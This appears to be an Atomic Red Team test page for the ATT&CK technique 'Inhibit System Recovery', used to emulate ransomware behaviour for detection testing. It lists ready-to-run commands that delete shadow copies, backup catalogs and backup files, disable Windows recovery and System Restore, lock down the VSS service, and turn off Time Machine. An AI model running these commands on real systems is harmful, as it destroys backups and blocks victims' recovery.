T1490

Inhibit System Recovery

Description from ATT&CK

Adversaries may delete or remove built-in data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options.

Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of Data Destruction and Data Encrypted for Impact.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Furthermore, adversaries may disable recovery notifications, then corrupt backups.(Citation: disable_notif_synology_ransom)

A number of native Windows utilities have been used by adversaries to disable or delete system recovery features:

vssadmin.exe can be used to delete all volume shadow copies on a system - vssadmin.exe delete shadows /all /quiet
Windows Management Instrumentation can be used to delete volume shadow copies - wmic shadowcopy delete
wbadmin.exe can be used to delete the Windows Backup Catalog - wbadmin.exe delete catalog -quiet
bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
REAgentC.exe can be used to disable Windows Recovery Environment (WinRE) repair/recovery options of an infected system
diskshadow.exe can be used to delete all volume shadow copies on a system - diskshadow delete shadows all (Citation: Diskshadow) (Citation: Crytox Ransomware)

On network devices, adversaries may leverage Disk Wipe to delete backup firmware images and reformat the file system, then System Shutdown/Reboot to reload the device. Together this activity may leave network devices completely inoperable and inhibit recovery operations.

Adversaries may also delete “online” backups that are connected to their network – whether via network storage media or through folders that sync to cloud services.(Citation: ZDNet Ransomware Backups 2020) In cloud environments, adversaries may disable versioning and backup policies and delete snapshots, database backups, machine images, and prior versions of objects designed to be used in disaster recovery scenarios.(Citation: Dark Reading Code Spaces Cyber Attack)(Citation: Rhino Security Labs AWS S3 Ransomware)

Atomic Tests

Atomic Test #1 - Windows - Delete Volume Shadow Copies

Deletes Windows Volume Shadow Copies. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer. Upon execution, if no shadow volumes exist the message "No items found that satisfy the query." will be displayed. If shadow volumes are present, it will delete them without printing output to the screen. This is because the /quiet parameter was passed which also suppresses the y/n confirmation prompt. Shadow copies can only be created on Windows server or Windows 8.

https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc788055(v=ws.11)

Supported Platforms: windows

auto_generated_guid: 43819286-91a9-4369-90ed-d31fb4da2c01

Inputs:

None

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

vssadmin.exe delete shadows /all /quiet

Dependencies: Run with powershell!

Description: Create volume shadow copy of C:\ . This prereq command only works on Windows Server or Windows 8.

Check Prereq Commands:

if(!(vssadmin.exe list shadows | findstr "No items found that satisfy the query.")) { exit 0 } else { exit 1 }

Get Prereq Commands:

vssadmin.exe create shadow /for=c:

Atomic Test #2 - Windows - Delete Volume Shadow Copies via WMI

Deletes Windows Volume Shadow Copies via WMI. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer.

Supported Platforms: windows

auto_generated_guid: 6a3ff8dd-f49c-4272-a658-11c2fe58bd88

Inputs:

None

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

wmic.exe shadowcopy delete

Dependencies: Run with powershell!

Description: Create volume shadow copy of C:\ .

Check Prereq Commands:

if(!(vssadmin.exe list shadows | findstr "No items found that satisfy the query.")) { exit 0 } else { exit 1 }

Get Prereq Commands:

wmic shadowcopy call create Volume='C:\'

Atomic Test #3 - Windows - wbadmin Delete Windows Backup Catalog

Deletes Windows Backup Catalog. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer. Upon execution, "The backup catalog has been successfully deleted." will be displayed in the PowerShell session.

Supported Platforms: windows

auto_generated_guid: 263ba6cb-ea2b-41c9-9d4e-b652dadd002c

Inputs:

None

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

wbadmin delete catalog -quiet

Atomic Test #4 - Windows - Disable Windows Recovery Console Repair

Disables repair by the Windows Recovery Console on boot. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer. Upon execution, "The operation completed successfully." will be displayed in the powershell session.

Supported Platforms: windows

auto_generated_guid: cf21060a-80b3-4238-a595-22525de4ab81

Inputs:

None

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
bcdedit.exe /set {default} recoveryenabled no

Cleanup Commands:

bcdedit.exe /set {default} bootstatuspolicy DisplayAllFailures >nul 2>&1
bcdedit.exe /set {default} recoveryenabled yes >nul 2>&1

Atomic Test #5 - Windows - Delete Volume Shadow Copies via WMI with PowerShell

Deletes Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil. Executes Get-WMIObject. Shadow copies can only be created on Windows server or Windows 8, so upon execution there may be no output displayed.

Supported Platforms: windows

auto_generated_guid: 39a295ca-7059-4a88-86f6-09556c1211e7

Inputs:

None

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}

Atomic Test #6 - Windows - Delete Backup Files

Deletes backup files in a manner similar to Ryuk ransomware. Upon exection, many "access is denied" messages will appear as the commands try to delete files from around the system.

Supported Platforms: windows

auto_generated_guid: 6b1dbaf6-cc8a-4ea6-891f-6058569653bf

Inputs:

None

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

del /s /f /q c:\*.VHD c:\*.bac c:\*.bak c:\*.wbcat c:\*.bkf c:\Backup*.* c:\backup*.* c:\*.set c:\*.win c:\*.dsk

Atomic Test #7 - Windows - wbadmin Delete systemstatebackup

Deletes the Windows systemstatebackup using wbadmin.exe. This technique is used by numerous ransomware families. This may only be successful on server platforms that have Windows Backup enabled.

Supported Platforms: windows

auto_generated_guid: 584331dd-75bc-4c02-9e0b-17f5fd81c748

Inputs:

None

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

wbadmin delete systemstatebackup -keepVersions:0

Atomic Test #8 - Windows - Disable the SR scheduled task

Use schtasks.exe to disable the System Restore (SR) scheduled task

Supported Platforms: windows

auto_generated_guid: 1c68c68d-83a4-4981-974e-8993055fa034

Inputs:

None

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable

Cleanup Commands:

schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /enable >nul 2>&1

Atomic Test #9 - Disable System Restore Through Registry

Modify the registry of the currently logged in user using reg.exe via cmd console to disable system restore on the computer. See how remcos RAT abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details

Supported Platforms: windows

auto_generated_guid: 66e647d1-8741-4e43-b7c1-334760c2047f

Inputs:

None

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t "REG_DWORD" /d "1" /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t "REG_DWORD" /d "1" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableConfig" /t "REG_DWORD" /d "1" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableSR" /t "REG_DWORD" /d "1" /f

Cleanup Commands:

reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /f >nul 2>&1
reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /f >nul 2>&1
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableConfig" /f >nul 2>&1
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableSR" /f >nul 2>&1

Atomic Test #10 - Windows - vssadmin Resize Shadowstorage Volume

Adversaries generally try to Resize Shadowstorage Volume using vssadmin.exe to avoid the shadow volumes being made again. This technique is typically found used by adversaries during a ransomware event and a precursor to deleting the shadowstorage.

Supported Platforms: windows

auto_generated_guid: da558b07-69ae-41b9-b9d4-4d98154a7049

Inputs:

None

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

vssadmin resize shadowstorage /For=C: /On=C: /MaxSize=20%

Atomic Test #11 - Modify VSS Service Permissions

This atomic test alters the security settings of the Volume Shadow Copy Service (VSS) by modifying its permissions, potentially impacting system recovery operations. The specific permissions set by the command are as follows:

Deny Generic All (GA) permissions to Network Users (NU)
Deny GA permissions to Everyone (WD)
Deny GA permissions to Anonymous (AN)
Allow Full Access (FA) and Generic All (GA) permissions to Everyone (WD) in System ACL (SACL)
Allow Object Inherit and Inherit Only (OIIO) Full Access (FA) and GA permissions to Everyone (WD) in SACL These permissions can significantly restrict VSS functionalities, including backup and restore operations. As such, it is essential to run this test only in a controlled environment with administrative privileges. A cleanup command is provided to reset VSS permissions to a common default configuration, which should be verified against your specific system's configuration. It's crucial to use this cleanup command after testing to ensure the system's backup and recovery capabilities remain functional. Running this test on a production system or critical environment is not recommended without proper precautions and a robust recovery plan.

Supported Platforms: windows

auto_generated_guid: a4420f93-5386-4290-b780-f4f66abc7070

Inputs:

None

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

sc sdset VSS D:(D;;GA;;;NU)(D;;GA;;;WD)(D;;GA;;;AN)S:(AU;FA;GA;;;WD)(AU;OIIOFA;GA;;;WD)

Cleanup Commands:

sc sdset VSS D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;LC;;;BU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

Atomic Test #12 - Disable Time Machine

Disables Time Machine which is Apple's automated backup utility software. Attackers can use this to prevent backups from occurring and hinder the victim's ability to recover from any damage.

Supported Platforms: macos

auto_generated_guid: ed952f70-91d4-445a-b7ff-30966bfb1aff

Inputs:

None

Attack Commands: Run with sh! Elevation Required (e.g. root or admin)

sudo tmutil disable

Cleanup Commands:

sudo tmutil enable

source

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